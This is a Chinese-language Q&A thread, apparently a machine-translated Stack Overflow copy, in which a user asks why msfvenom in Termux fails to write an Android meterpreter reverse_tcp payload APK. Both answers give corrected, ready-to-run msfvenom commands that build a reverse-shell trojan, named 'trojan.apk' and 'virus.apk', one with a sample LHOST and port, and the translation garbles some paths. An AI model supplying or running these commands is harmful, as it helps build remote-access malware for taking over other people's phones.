当我试图制造有效载荷时,它正在向我展示

时间:2017-12-12 10:29:28

标签: android payload metasploit termux

当我在termux app中使用此命令创建有效负载时

. /msfvenom -p android/meterpreter/reverse_tcp lhost=IP ADDRESS lport=3333 -o /sdcard/FILE NAME/test.apk

然后它正在向我展示

No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 9435 bytes
Error: Permission denied @ rb_sysopen - /sdcard/apk_payload/hack.apk

请如何解决,请帮助我

2 个答案:

答案 0 :(得分:0)

首先,抱歉我的英语不好。

看起来您的问题是路径, sdcard 路径是〜/ storage 在里面,你只能访问一些文件夹,在我的情况下是 dcim,下载,电影,音乐,图片和&共享

我已决定将其放入 downloads ,因此路径应如下所示: 〜/存储/下载/ trojan.apk

最终代码应该是这样的: ./ msfvenom -p android / meterpreter / reverse_tcp LHOST = 您的IP LPORT = 您的端口 -o~ / storage / downloads / trojan.apk

答案 1 :(得分:0)

首先,如果msfvenom位于你的usr / local / bin文件夹中,你不需要./msfvenom只需要从msfvenom开始。

第二个-o选项在使用-x选项时使用,否则您不应该使用它。

您的命令应如下所示

msfvenom -p android/meterpreter/reverse_tcp LHOST=your ip LPORT=your port R > /root/what-ever-path-you-want/app-name.apk

示例:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 R > /root/Documents/virus.apk